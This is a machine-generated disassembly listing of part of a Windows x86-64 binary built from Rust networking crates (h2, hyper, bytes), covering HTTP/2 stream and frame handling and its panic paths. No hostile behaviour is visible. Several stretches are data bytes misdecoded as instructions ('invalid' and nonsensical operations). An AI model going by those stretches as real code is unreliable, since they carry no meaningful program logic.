add al, 0x45
movzx ebx, byte [rbp + 5]
lea r8, [0x140174a68]
add eax, 0xd5313
movsxd rbp, dword [r8 + rbp*4]
add rbp, r8
jmp rbp
shl ebx, 0x18
jrcxz 0x14009f779
shl esi, 0x10
or esi, ebx
shl r10d, 8
or r10d, esi
or r10d, r11d
mov dword [rsp + 0x34], 1
mov r8d, r10d
mov eax, edx
mov dword [rsp + 0x84], r10d
jmp case.default.0x14009f75c
invalid
invalid
invalid
invalid
invalid
shl ebx, 0x18
shl esi, 0x10
or esi, ebx
shl r10d, 8
or r10d, esi
or r10d, r11d
mov eax, 1
cmp r10d, 2
jae 0x1400a1382
jmp case.default.0x14009f75c
shl ebx, 0x18
shl esi, 0x10
or esi, ebx
shl r10d, 8
or r10d, esi
or r10d, r11d
cmp r10d, 2
jae 0x1400a1396
shl ebx, 0x18
shl esi, 0x10
or esi, ebx
shl r10d, 8
or r10d, esi
or r10d, r11d
mov r8d, 1
mov qword [rsp + 0x40], r8
mov ecx, r10d
jmp case.default.0x14009f75c
shl ebx, 0x18
shl esi, 0x10
or esi, ebx
shl r10d, 8
or r10d, esi
or r10d, r11d
mov qword [rsp + 0x58], r10
mov r15d, 1
jns case.default.0x14009f75c
shl ebx, 0x18
shl esi, 0x10
or esi, ebx
shl r10d, 8
lea ebx, [r10 + rsi]
add ebx, 0xffffc000
cmp ebx, 0xffc000
jae 0x1400a1382
shr r8, 5
neg r8
cmp qword [rsp + 0x1d0], r8
je 0x14009f893
add r8, qword [rsp + 0x1c0]
mov rcx, qword [0x14017d208]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
mov bl, 2
test sil, 0x20
jne 0x14009fc80
test r12, r12
je 0x14009f8bd
mov rax, qword [rsp + 0xc8]
sub rax, r12
jb 0x14009fc8f
mov rax, qword [rsp + 0xc0]
mov rcx, qword [rsp + 0xc8]
movaps xmm0, xmmword [rsp + 0xd0]
lea r8, [rsp + 0x340]
movups xmmword [r8 + 3], xmm0
mov qword [r8 - 0xd], rax
mov qword [r8 - 5], rcx
mov rax, qword [rsp + 0x809]
mov rcx, qword [rsp + 0x810]
lea rdx, [rsp + 0x1c8]
mov qword [rdx + 8], rcx
mov qword [rdx + 1], rax
mov qword [rsp + 0x1d8], 0
mov qword [rsp + 0x1e0], 8
movups xmmword [rdx + 0x20], xmm7
mov qword [rsp + 0x1f8], 8
mov qword [rsp + 0x200], 0
mov qword [rsp + 0x208], 2
mov qword [rsp + 0x210], 0
mov word [rsp + 0x218], 0
movzx eax, word [rsp + 0x546]
mov word [rdx + 0x56], ax
mov eax, dword [rsp + 0x542]
mov dword [rdx + 0x52], eax
mov rax, qword [rsp + 0x8a0]
mov qword [rdx + 0x68], rax
movups xmm0, xmmword [rsp + 0x891]
movups xmmword [rdx + 0x59], xmm0
mov rax, qword [rsp + 0x500]
mov qword [rdx + 0x88], rax
movups xmm0, xmmword [rsp + 0x4f0]
movups xmmword [rdx + 0x78], xmm0
mov rax, qword [rsp + 0x5d8]
mov qword [rdx + 0xa8], rax
movups xmm0, xmmword [rsp + 0x5c8]
movups xmmword [rdx + 0x98], xmm0
mov rax, qword [rsp + 0x8d0]
mov qword [rdx + 0xc8], rax
movups xmm0, xmmword [rsp + 0x8c0]
movups xmmword [rdx + 0xb8], xmm0
mov rax, qword [rsp + 0x8b8]
mov qword [rdx + 0xe8], rax
movups xmm0, xmmword [rsp + 0x8a8]
movups xmmword [rdx + 0xd8], xmm0
movzx eax, word [rsp + 0x540]
mov word [rdx + 0xf6], ax
mov eax, dword [rsp + 0x53c]
mov dword [rdx + 0xf2], eax
mov eax, dword [rsp + 0x591]
mov ecx, dword [rsp + 0x594]
mov dword [rdx + 0x104], ecx
mov dword [rdx + 0x101], eax
movzx eax, byte [rsp + 0x332]
mov byte [rdx + 0x117], al
movzx eax, word [rsp + 0x330]
mov word [rdx + 0x115], ax
movdqu xmm0, xmmword [r8 - 0xd]
movdqu xmm1, xmmword [r8 + 3]
movdqa xmmword [rsp + 0x100], xmm1
movdqa xmmword [rsp + 0xf0], xmm0
mov qword [rsp + 0x1c0], 0
mov byte [rsp + 0x220], 0xb
mov qword [rsp + 0x238], 0
mov qword [rsp + 0x258], 0
mov qword [rsp + 0x278], 0
mov qword [rsp + 0x298], 0
mov word [rsp + 0x2b8], 0
mov qword [rsp + 0x2c0], 0
mov byte [rsp + 0x2c8], 0
mov eax, dword [rsp + 0x120]
mov dword [rsp + 0x2d0], eax
mov byte [rsp + 0x2d4], r13b
mov byte [rsp + 0x2d5], bl
mov word [rsp + 0x2d6], 0
mov dword [rsp + 0x2d8], r14d
mov byte [rsp + 0x2dc], sil
lea rcx, [rsp + 0x1c0]
lea rdx, [rsp + 0xf0]
mov r8, r15
mov r9, qword [rsp + 0x498]
call fcn.14001a630
cmp al, 0x15
jne 0x14009fe69
cmp qword [rsp + 0xc8], 5
jae 0x14009fda0
xor r13d, r13d
mov r8, qword [rsp + 0xd8]
test r8b, 1
jne 0x14009fcd7
mov rax, qword [rsp + 0xc0]
mov ebx, dword [rax]
bswap ebx
mov ecx, ebx
and ecx, 0x7fffffff
movzx eax, byte [rax + 4]
mov dword [rsp + 0x1c0], ecx
mov byte [rsp + 0x1c4], al
mov eax, dword [rsp + 0x1c1]
mov byte [rsp + 0x1c0], bl
mov dword [rsp + 0x1c1], eax
mov ecx, dword [rsp + 0x1c0]
mov r13b, 1
cmp ecx, r14d
je 0x14009fc92
shr r8, 5
neg r8
cmp qword [rsp + 0x1d0], r8
je 0x14009ff5e
add r8, qword [rsp + 0x1c0]
mov rcx, qword [0x14017d208]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
cmp qword [rsp + 0xc8], 5
jb 0x1400a001a
mov rax, qword [rsp + 0xc0]
mov r12d, dword [rax]
mov eax, 0xffffff7f
and r12d, eax
mov r8d, 4
lea rcx, [rsp + 0x1c0]
lea rdx, [rsp + 0xc0]
call fcn.140012500
mov r8, qword [rsp + 0x1d8]
test r8b, 1
jne 0x14009ffd8
lock dec qword [r8 + 0x20]
jne 0x1400a0000
mov rax, qword [r8 + 0x20]
cmp qword [r8], 0
je 0x14009fff1
shr r8, 5
neg r8
cmp qword [rsp + 0x1d0], r8
je 0x1400a0000
add r8, qword [rsp + 0x1c0]
mov rcx, qword [0x14017d208]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
test rbx, rbx
je 0x1400a0269
mov r8, qword [rsp + 0xd8]
test r8b, 1
jne 0x1400a005f
mov qword [rsp + 0x4f0], 9
mov rbx, qword [rsp + 0x320]
cmp rbx, 8
jbe 0x1400a3927
lea r13, [0x14016f768]
xor eax, eax
xor edx, edx
lea r9, [0x140110a98]
jmp 0x1400a0718
call qword [rax + 0x80]
movzx r9d, byte [rsp + 0x120]
mov r14d, ebx
mov r12d, r9d
mov r8, qword [rsp + 0x328]
test r8b, 1
je 0x14009e734
shr r8, 5
neg r8
cmp qword [rsp + 0x320], r8
je 0x1400a01bb
add r8, qword [rsp + 0x310]
mov rcx, qword [0x14017d208]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
cmp r12b, 0xa
je 0x1400a1813
movzx eax, byte [rsp + 0x16a]
mov byte [rsp + 0x15e], al
movzx eax, word [rsp + 0x168]
mov word [rsp + 0x15c], ax
mov r8d, 0xe0
lea rcx, [rsp + 0xae0]
lea rdx, [rsp + 0x728]
call sub.VCRUNTIME140.dll_memcpy
movzx eax, word [rsp + 0x164]
mov word [rsp + 0x158], ax
movzx eax, byte [rsp + 0x166]
mov byte [rsp + 0x15a], al
movzx eax, word [rsp + 0x160]
mov word [rsp + 0x154], ax
movzx eax, byte [rsp + 0x162]
mov byte [rsp + 0x156], al
cmp r12b, 9
jne 0x1400a1699
mov dword [rsp + 0x88], r14d
cmp byte [rdi + 0x1c2], 0
je 0x14009e54b
lea r9, [0x140126058]
mov qword [rsp + 0x4f0], r15
mov r8, rdx
sub r8, r15
jb 0x1400a379b
add r13, r15
mov qword [rsp + 0xf0], r9
mov qword [rsp + 0xf8], r13
mov qword [rsp + 0x100], r8
mov qword [rsp + 0x108], rax
mov rcx, rax
mov eax, r9d
test ebx, ebx
je 0x1400a07f1
mov qword [rsp + 0x68], r9
mov qword [rsp + 0x70], rax
movzx r12d, sil
mov esi, r12d
and esi, 8
je 0x1400a07d9
test r8, r8
je 0x1400a07e9
movzx ebx, byte [r13]
cmp r8, rbx
jbe 0x1400a07ec
cmp r8, 1
mov r15, r8
jne 0x1400a09e1
shr qword [rsp + 0x68], 0x20
xor ebx, ebx
mov rax, rcx
jmp 0x1400a1128
xor r8d, r8d
mov r9, qword [rsp + 0x68]
lea rcx, [rsp + 0x108]
mov rdx, r13
call qword [r9 + 0x10]
mov r12b, 0xa
mov eax, 1
mov qword [rsp + 0x68], rax
mov dword [rsp + 0x84], 0
mov al, 1
mov qword [rsp + 0x50], rax
mov al, 1
mov qword [rsp + 0x70], rax
lea rax, [0x1401127a0]
mov qword [rsp + 0x40], rax
lea rax, [0x14016f768]
mov qword [rsp + 0x78], rax
xor eax, eax
mov qword [rsp + 0x58], rax
xor eax, eax
mov qword [rsp + 0x48], rax
xor r14d, r14d
mov dword [rsp + 0x34], 0
lea r15, [rsp + 0x1c8]
mov rdx, qword [rsp + 0x198]
cmp rdx, 2
jne 0x1400a0931
jmp 0x1400a01bb
mov rcx, qword [rsp + 0x1a0]
mov rax, qword [rsp + 0x1a8]
test rdx, rdx
je 0x1400a0958
mov qword [rsp + 0x88], rcx
mov ecx, dword [rsp + 0x84]
mov r9d, ecx
and r9d, 0xffffff00
movzx r8d, cl
xor r11d, r11d
mov r10d, dword [rsp + 0x34]
mov r13, rdx
mov ecx, dword [rsp + 0x50]
mov edx, dword [rsp + 0x78]
jmp 0x1400a1033
mov dword [rsp + 0x134], r10d
or r8d, r9d
mov r9b, 1
mov qword [rsp + 0x50], r9
mov r12b, 4
mov dword [rsp + 0x34], ecx
mov dword [rsp + 0x16c], edx
mov ecx, r11d
mov byte [rsp + 0x66], r11b
mov qword [rsp + 0x68], rax
mov eax, r8d
mov qword [rsp + 0x70], rax
mov dword [rsp + 0x90], eax
mov dword [rsp + 0x94], eax
movdqa xmmword [rsp + 0x570], xmm0
jmp 0x1400a117e
shl esi, 5
and r12d, 9
or r12d, esi
or r12d, ebx
mov dword [rsp + 0x34], r12d
mov rcx, r13
shr rcx, 0x20
mov qword [rsp + 0x40], rcx
mov qword [rsp + 0x88], r8
mov r15, r8
shr r15, 0x20
mov rcx, rax
mov qword [rsp + 0x58], rax
shr rax, 0x20
mov qword [rsp + 0x48], rax
xor r12d, r12d
xor eax, eax
mov qword [rsp + 0x50], rax
mov dword [rsp + 0x90], eax
mov dword [rsp + 0x94], eax
movzx eax, byte [rsp + 0xa4]
mov byte [rsp + 0x16a], al
movzx eax, word [rsp + 0xa2]
mov word [rsp + 0x168], ax
mov r8d, 0xe0
lea rcx, [rsp + 0x728]
lea rdx, [rsp + 0x640]
call sub.VCRUNTIME140.dll_memcpy
movzx eax, word [rsp + 0x9e]
mov word [rsp + 0x164], ax
movzx eax, byte [rsp + 0xa0]
mov byte [rsp + 0x166], al
movzx eax, word [rsp + 0x9a]
mov word [rsp + 0x160], ax
movzx eax, byte [rsp + 0x9c]
mov byte [rsp + 0x162], al
mov rdx, qword [rsp + 0x198]
cmp rdx, 2
je 0x1400a12a4
mov rcx, qword [rsp + 0x1a0]
mov rax, qword [rsp + 0x1a8]
test rdx, rdx
je 0x1400a122f
cmp byte [rsp + 0x50], 0
je 0x1400a1335
mov byte [rdi + 0x1c0], al
mov byte [rdi + 0x1c1], 1
cmp byte [rdi + 0x1c2], 0
jne 0x1400a15b0
xor eax, eax
jmp 0x1400a13ff
mov word [rdi + 0x1c1], 0
mov r12b, 0xa
mov rdx, qword [rsp + 0x548]
cmp rdx, 2
je 0x1400a1be0
jmp 0x1400a1b39
mov r12b, 0xb
mov rdx, qword [rsp + 0x548]
cmp rdx, 2
je 0x1400a1be0
jmp 0x1400a1b39
cmp dword [rdi + 0x100], 4
jne 0x1400a1611
mov rax, qword [rdi + 0x158]
sub rax, qword [rdi + 0x150]
cmp rax, qword [rdi + 0x178]
jae 0x1400a1791
mov rcx, qword [rsp + 0xa8]
mov rdx, rbp
call fcn.1400a3f30
test rax, rax
jne 0x1400a1777
test rdx, rdx
jne 0x1400a1777
mov r14b, 4
cmp dword [rdi + 0x100], 4
jne 0x14009e3c9
mov rax, qword [rdi + 0x158]
sub rax, qword [rdi + 0x150]
cmp rax, qword [rdi + 0x178]
jb 0x14009e3c9
jmp 0x1400a1791
mov eax, dword [rsp + 0x84]
shl eax, 0x10
movzx ecx, byte [rsp + 0x50]
shl ecx, 8
or ecx, eax
movzx eax, byte [rsp + 0x70]
or eax, ecx
mov dword [rsp + 0x174], eax
movzx eax, byte [rsp + 0x15e]
mov byte [rsp + 0x14e], al
movzx eax, word [rsp + 0x15c]
mov word [rsp + 0x14c], ax
mov r8d, 0xe0
lea rcx, [rsp + 0xbc0]
lea rdx, [rsp + 0xae0]
call sub.VCRUNTIME140.dll_memcpy
movzx eax, word [rsp + 0x158]
mov word [rsp + 0x148], ax
movzx eax, byte [rsp + 0x15a]
mov byte [rsp + 0x14a], al
movzx eax, word [rsp + 0x154]
mov word [rsp + 0x144], ax
movzx eax, byte [rsp + 0x156]
mov byte [rsp + 0x146], al
movzx eax, byte [rsp + 0x66]
mov byte [rsp + 0xba], al
mov eax, dword [rsp + 0x16c]
mov dword [rsp + 0x4c8], eax
mov eax, dword [rsp + 0x94]
mov byte [rsp + 0xb9], al
mov eax, dword [rsp + 0x90]
mov byte [rsp + 0xb8], al
movaps xmm13, xmmword [rsp + 0x570]
jmp 0x1400a1838
test rax, rax
jne 0x1400a1785
test rdx, rdx
jne 0x1400a24e5
mov r14b, 4
test rax, rax
jne 0x14009e3c9
movzx eax, byte [rdi + 0x47c]
movdqu xmm0, xmmword [rdi + 0x444]
movdqu xmm1, xmmword [rdi + 0x454]
movups xmm2, xmmword [rdi + 0x464]
mov rcx, qword [rdi + 0x474]
movdqu xmmword [rsp + 0x334], xmm0
movdqu xmmword [rsp + 0x344], xmm1
movups xmmword [rsp + 0x354], xmm2
mov qword [rsp + 0x364], rcx
mov byte [rsp + 0x36c], al
mov byte [rsp + 0x330], 4
mov rcx, qword [rsp + 0xa8]
lea rdx, [rsp + 0x330]
call fcn.140079c30
cmp al, 0xc
jne 0x1400a373c
mov dword [rdi + 0x440], 1
jmp 0x14009e204
mov eax, dword [rsp + 0x84]
shl eax, 0x10
movzx ecx, byte [rsp + 0x50]
shl ecx, 8
or ecx, eax
movzx eax, byte [rsp + 0x70]
or eax, ecx
mov dword [rsp + 0x174], eax
mov r12b, 9
mov eax, dword [rsp + 0x34]
mov dword [rsp + 0x194], eax
mov dword [rsp + 0x190], r14d
mov rax, qword [rsp + 0x48]
mov dword [rsp + 0x18c], eax
mov rax, qword [rsp + 0x58]
mov dword [rsp + 0x188], eax
mov rax, qword [rsp + 0x78]
mov qword [rsp + 0x4b0], rax
mov rax, qword [rsp + 0x40]
mov qword [rsp + 0x4a8], rax
mov rax, qword [rsp + 0x68]
mov dword [rsp + 0x184], eax
mov eax, dword [rsp + 0x134]
mov dword [rsp + 0x4cc], eax
movdqa xmm14, xmm15
movzx eax, byte [rsp + 0xb7]
mov byte [rsp + 0xbb], al
mov dword [rsp + 0x88], r14d
mov rdx, qword [rsp + 0x548]
cmp rdx, 2
je 0x1400a1be0
jmp 0x1400a1b39
cmp qword [rdi + 0x1a8], 0
je 0x1400a23dc
mov r8d, 0x19
mov cl, 0x27
lea rdx, str.bytes_remaining_on_streampolling_StreamFuture_twiceC:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_futures_util_0.3.30_src_stream_streaminto_future.rs
call fcn.140096230
mov r13, rax
nop dword [rax + rax]
mov byte [rdi + 0x1c2], 1
mov rcx, r13
call fcn.14001a320
mov ecx, r13d
and ecx, 3
cmp ecx, 1
jne 0x1400a1aa0
cmp al, 0x15
jne 0x1400a1aa0
lea rcx, [rsp + 0x330]
mov rdx, r13
call fcn.14001a1c0
mov eax, dword [rsp + 0x330]
mov dword [rsp + 0x174], eax
mov eax, dword [rsp + 0x334]
mov dword [rsp + 0x184], eax
mov rax, qword [rsp + 0x338]
mov qword [rsp + 0x4a8], rax
mov rax, qword [rsp + 0x340]
mov qword [rsp + 0x4b0], rax
mov eax, dword [rsp + 0x348]
mov dword [rsp + 0x188], eax
mov eax, dword [rsp + 0x34c]
mov dword [rsp + 0x18c], eax
mov eax, dword [rsp + 0x350]
mov dword [rsp + 0x190], eax
mov eax, dword [rsp + 0x354]
mov dword [rsp + 0x194], eax
mov r12b, 9
mov rdx, qword [rsp + 0x548]
cmp rdx, 2
je 0x1400a1be0
mov rcx, qword [rsp + 0x550]
mov rax, qword [rsp + 0x558]
test rdx, rdx
je 0x1400a1b60
mov al, 9
cmp r12b, 0xa
je 0x1400a1d52
mov rcx, r14
call fcn.14010c7c0
mov rax, qword [0x14017d2a8]
shl rax, 1
test rax, rax
je 0x14009e231
call fcn.14010c880
mov r15d, eax
xor r15b, 1
movzx eax, byte [rsi + 0x11]
test al, al
je 0x14009e240
jmp 0x1400a3546
mov byte [rdi + 0x1c1], 0
mov r12b, 0xa
mov rdx, qword [rsp + 0x548]
cmp rdx, 2
je 0x1400a1be0
jmp 0x1400a1b39
lea rcx, [rsp + 0x330]
call fcn.14001a1c0
movzx r14d, byte [rsp + 0x330]
movzx eax, byte [rsp + 0x331]
movzx ecx, word [rsp + 0x332]
mov r13d, dword [rsp + 0x334]
movdqu xmm0, xmmword [rsp + 0x338]
lea rdx, [rsp + 0x340]
movdqu xmm1, xmmword [rdx + 8]
movdqa xmmword [rsp + 0xbc0], xmm1
cmp r14b, 4
jne 0x1400a2e22
mov r14b, 4
jmp 0x14009e3c9
call fcn.14010c880
test al, al
jne 0x14009e33b
mov byte [rsi + 0x11], 1
jmp 0x14009e33b
xor eax, eax
mov rcx, qword [rsp + 0x178]
xchg byte [rcx], al
cmp al, 2
jne 0x1400a2dcf
call qword [sym.imp.api_ms_win_core_synch_l1_2_0.dll_WakeByAddressSingle]
test bl, bl
mov rdx, qword [rsp + 0x598]
je 0x1400a2e0c
cmp dword [rdi + 0x480], 0
je 0x1400a2e95
mov rax, qword [rsp + 0x520]
mov eax, dword [rax]
mov rcx, qword [rsp + 0xa8]
mov rcx, qword [rcx]
test rcx, rcx
je 0x1400a2e5c
cmp ecx, 1
jne 0x1400a2e79
cmp qword [rdx], rax
jmp 0x1400a2e6b
movaps xmm0, xmmword [rsp + 0xae0]
movaps xmmword [rsp + 0xbc0], xmm0
mov al, 1
movdqa xmm0, xmm6
cmp r14b, 3
je 0x14009e204
movdqa xmm1, xmmword [rsp + 0xbc0]
movdqa xmmword [rsp + 0x580], xmm1
mov dword [rsp + 0x170], r13d
mov word [rsp + 0xa6], cx
mov byte [rsp + 0x67], al
movdqa xmm11, xmm0
jmp 0x14009e3c9
mov rcx, qword [rdx]
cmp rcx, rax
jae 0x1400a2e82
cmp rcx, qword [rdi + 0xb0]
setbe cl
cmovbe rdx, qword [rsp + 0x518]
jmp 0x1400a2e84
cmp qword [rdi + 0xb0], rax
je 0x1400a2e95
xor ecx, ecx
movzx ecx, cl
mov r8, qword [rsp + 0xa8]
mov qword [r8], rcx
mov qword [rdx], rax
cmp dword [rdi + 0x4a0], 0
je 0x14009e1ed
mov eax, dword [rdi + 0x4a4]
cmp eax, 0x1000000
jae 0x1400a3783
mov dword [rdi + 0x180], eax
jmp 0x14009e1ed
inc esi
adc dword [rcx], r8d
jmp 0x1400a2db9
movzx eax, r14b
cmp eax, 4
je 0x1400a2fd2
mov ah, 0x24
movabs al, byte [0xb024bc280f00000c]
or al, 0
add byte [rdi + rcx + 0x28], al
test byte [rax + rax*8], ah
or al, 0
add byte [rdi + rcx + 0x28], al
mov word [rax + rdx*8], fs
or al, 0
add byte [rdi + rcx + 0x28], al
xchg esp, eax
and al, 0xe0
or al, 0
add byte [rdi + rcx + 0x28], al
pushfq
and al, 0xf0
or al, 0
add byte [rdi + rcx + 0x28], al
movsb byte [rdi], byte [rsi]
and al, 0
or eax, 0xf440000
sub byte [rsp + 0xd10], ch
movaps xmm14, xmmword [rsp + 0xd20]
movaps xmm15, xmmword [rsp + 0xd30]
add rsp, 0xd48
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop rsp
pop rsp
pop r13
pop r14
pop r15
ret
lea r8, [0x140125d18]
mov ecx, 1
mov edx, 1
call fcn.140104670
lea r8, [0x140125d30]
mov ecx, 2
mov edx, 2
call fcn.140104670
lea r8, [0x140125d30]
mov ecx, 3
mov edx, 3
call fcn.140104670
lea r8, [0x140125d30]
mov ecx, 4
mov edx, 4
call fcn.140104670
lea r8, [0x140125d30]
mov ecx, 5
mov edx, 5
call fcn.140104670
lea rax, [rsp + 0xae4]
mov qword [rsp + 0x1c0], rax
lea rax, [0x14001b1b0]
mov qword [rsp + 0x1c8], rax
lea rax, str.dangling_store_key_for_stream_id
mov qword [rsp + 0x330], rax
mov qword [rsp + 0x338], 1
mov qword [rsp + 0x350], 0
lea rax, [rsp + 0x1c0]
mov qword [rsp + 0x340], rax
mov qword [rsp + 0x348], 1
lea rdx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.25_srcproto_streams_store.rs
lea rcx, [rsp + 0x330]
call fcn.140104620
lea r8, [0x140139718]
call fcn.1401046e0
mov qword [rsp + 0x330], 0
lea rcx, [rsp + 0xae0]
lea rdx, [rsp + 0x728]
lea r8, [rsp + 0x330]
call fcn.14010ac00
lea rax, [rsp + 0x728]
mov qword [rsp + 0x1c0], rax
add byte [rax], al
add byte [rax], al
lea rax, [fcn.140012c90]
mov qword [rsp + 0x1c8], rax
mov rcx, qword [rsp + 0x480]
mov qword [rsp + 0x1d0], rcx
mov qword [rsp + 0x1d8], rax
lea rax, [0x14013e4f8]
mov qword [rsp + 0x330], rax
mov qword [rsp + 0x338], 2
mov qword [rsp + 0x350], 0
lea rax, [rsp + 0x1c0]
mov qword [rsp + 0x340], rax
mov qword [rsp + 0x348], 2
lea rdx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_bytes_1.5.0_src_bytes_mut.rs
lea rcx, [rsp + 0x330]
call fcn.140104620
lea rax, [rsp + 0x72c]
mov qword [rsp + 0x1c0], rax
lea rax, [0x14001b1b0]
mov qword [rsp + 0x1c8], rax
lea rax, str.dangling_store_key_for_stream_id
mov qword [rsp + 0x330], rax
mov qword [rsp + 0x338], 1
mov qword [rsp + 0x350], 0
lea rax, [rsp + 0x1c0]
jmp 0x1400a3498
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.25_src_frame_stream_id.rs
mov ecx, 4
call fcn.1401046e0
lea r8, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.25_src_framehead.rs
mov ecx, 5
mov rdx, r12
call fcn.140104660
lea rcx, str.reset_at_must_be_set_if_in_queueH
lea r8, [0x1401253f0]
mov edx, 0x20
call fcn.140104a60
lea rcx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.25_srcproto_streams_store.rs
call fcn.140104a40
lea rax, [rsp + 0xa04]
mov qword [rsp + 0x728], rax
lea rax, [0x14001b1b0]
mov qword [rsp + 0x730], rax
lea rax, str.dangling_store_key_for_stream_id
mov qword [rsp + 0x330], rax
mov qword [rsp + 0x338], 1
mov qword [rsp + 0x350], 0
lea rax, [rsp + 0x728]
mov qword [rsp + 0x340], rax
mov qword [rsp + 0x348], 1
lea rdx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.25_srcproto_streams_store.rs
lea rcx, [rsp + 0x330]
call fcn.140104620
lea rax, [rsp + 0xa04]
mov qword [rsp + 0x728], rax
lea rax, [0x14001b1b0]
mov qword [rsp + 0x730], rax
lea rax, str.dangling_store_key_for_stream_id
mov qword [rsp + 0x330], rax
mov qword [rsp + 0x338], 1
mov qword [rsp + 0x350], 0
lea rax, [rsp + 0x728]
jmp 0x1400a32c3
test byte [rsp + rax], ah
or al, byte [rax]
add byte [rax - 0x77], cl
test byte [rax + rbp], ah
invalid
mov qword [rsp + 0x330], r14
mov byte [rsp + 0x338], r15b
lea rax, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.25_srcproto_streams_streams.rs
jmp 0x1400a360e
mov qword [rsp + 0x20], rax
lea rcx, str.called__Result::unwrap____on_an__Err__value
lea r9, [0x14013bad8]
lea r8, [rsp + 0x330]
mov edx, 0x2b
call fcn.1401049b0
adc eax, dword [rsi]
invalid
adc eax, dword [rsi]
add byte [rcx + rcx*4 - 0x4c], cl
and al, 0x30
add eax, dword [rax]
add byte [rax + 0x3382484], cl
add byte [rax], al
mov qword [rsp + 0x330], r14
mov byte [rsp + 0x338], al
lea rax, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.25_srcproto_streams_streams.rs
mov qword [rsp + 0x20], rax
lea rcx, str.called__Result::unwrap____on_an__Err__value
lea r9, [0x14013bb18]
lea r8, [rsp + 0x330]
mov edx, 0x2b
call fcn.1401049b0
mov byte [rsp + 0x330], al
lea rax, [0x14013b580]
jmp 0x1400a383f
lea r8, [0x140112cc0]
mov ecx, 9
mov rdx, r12
call fcn.140104660
lea r8, [0x140112d20]
mov ecx, 9
mov rdx, r12
call fcn.140104660
lea r8, [0x140112d08]
mov ecx, 9
mov rdx, r12
call fcn.140104660
lea r8, [0x140112cf0]
mov ecx, 9
mov rdx, r12
call fcn.140104660
mov byte [rsp + 0x330], al
lea rax, [0x14013abb0]
mov qword [rsp + 0x20], rax
lea rcx, str.invalid_RST_STREAM_frameC:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.25_srcproto_streams_recv.rs
lea r9, [0x14013ba38]
lea r8, [rsp + 0x330]
mov edx, 0x18
call fcn.1401049b0
mov byte [rsp + 0x330], al
lea rax, [0x14013b4f0]
mov qword [rsp + 0x20], rax
lea rcx, str.invalid_settings_frame
lea r9, [0x14013ba38]
lea r8, [rsp + 0x330]
mov edx, 0x16
call fcn.1401049b0
lea r8, [0x140112ca8]
mov ecx, 9
mov rdx, r12
call fcn.140104660
lea rcx, str.assertion_failed:_val___frame::MAX_MAX_FRAME_SIZE_as_usize
lea r8, [0x14013b4d8]
mov edx, 0x3b
call fcn.1401046f0
mov qword [rsp + 0xc0], rdx
lea rax, [rsp + 0x4f0]
mov qword [rsp + 0x1c0], rax
lea rax, [0x1400ea5c0]
mov qword [rsp + 0x1c8], rax
add byte [rax], al
add byte [rax], al
lea rcx, [rsp + 0xc0]
mov qword [rsp + 0x1d0], rcx
mov qword [rsp + 0x1d8], rax
lea rax, str.cannot_advance_past__remaining_:___
mov qword [rsp + 0x330], rax
mov qword [rsp + 0x338], 2
mov qword [rsp + 0x350], 0
lea rax, [rsp + 0x1c0]
mov qword [rsp + 0x340], rax
mov qword [rsp + 0x348], 2
lea rdx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_bytes_1.5.0_src_bytes.rsC:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fhyper_0.14.28_src_body_body.rs
lea rcx, [rsp + 0x330]
call fcn.140104620
mov byte [rsp + 0x330], al
lea rax, [0x14013b598]
mov qword [rsp + 0x20], rax
lea rcx, str.invalid_ping_frameC:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.25_srcprotoping_pong.rs
lea r9, [0x14013ba38]
lea r8, [rsp + 0x330]
mov edx, 0x12
call fcn.1401049b0
mov ecx, 1
mov rdx, r12
call fcn.140104360
call fcn.140010910
mov ecx, 8
mov edx, 0x18
call fcn.140104380
lea rcx, [0x140112260]
call fcn.140104a40
mov qword [rsp + 0x4f0], r9
lea rax, [rsp + 0x5c8]
mov qword [rsp + 0x1c0], rax
lea rax, [0x1400ea5c0]
mov qword [rsp + 0x1c8], rax
lea rcx, [rsp + 0x4f0]
mov qword [rsp + 0x1d0], rcx
mov qword [rsp + 0x1d8], rax
lea rax, str.split_off_out_of_bounds:
mov qword [rsp + 0x330], rax
mov qword [rsp + 0x338], 2
mov qword [rsp + 0x350], 0
lea rax, [rsp + 0x1c0]
mov qword [rsp + 0x340], rax
mov qword [rsp + 0x348], 2
lea rdx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_bytes_1.5.0_src_bytes.rsC:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fhyper_0.14.28_src_body_body.rs
lea rcx, [rsp + 0x330]
call fcn.140104620
mov qword [rsp + 0xf0], rbx
lea rax, [rsp + 0x4f0]
mov qword [rsp + 0xc0], rax
lea rax, [0x1400ea5c0]
mov qword [rsp + 0xc8], rax
lea rcx, [rsp + 0xf0]
mov qword [rsp + 0xd0], rcx
mov qword [rsp + 0xd8], rax
lea rax, str.split_off_out_of_bounds:
mov qword [rsp + 0x330], rax
mov qword [rsp + 0x338], 2
mov qword [rsp + 0x350], 0
lea rax, [rsp + 0xc0]
mov qword [rsp + 0x340], rax
mov qword [rsp + 0x348], 2
lea rdx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_bytes_1.5.0_src_bytes_mut.rs
lea rcx, [rsp + 0x330]
call fcn.140104620
lea rax, [rsp + 0xf0]
mov qword [rsp + 0xc0], rax
lea rax, [fcn.140012c90]
mov qword [rsp + 0xc8], rax
lea rcx, [rsp + 0x2f8]
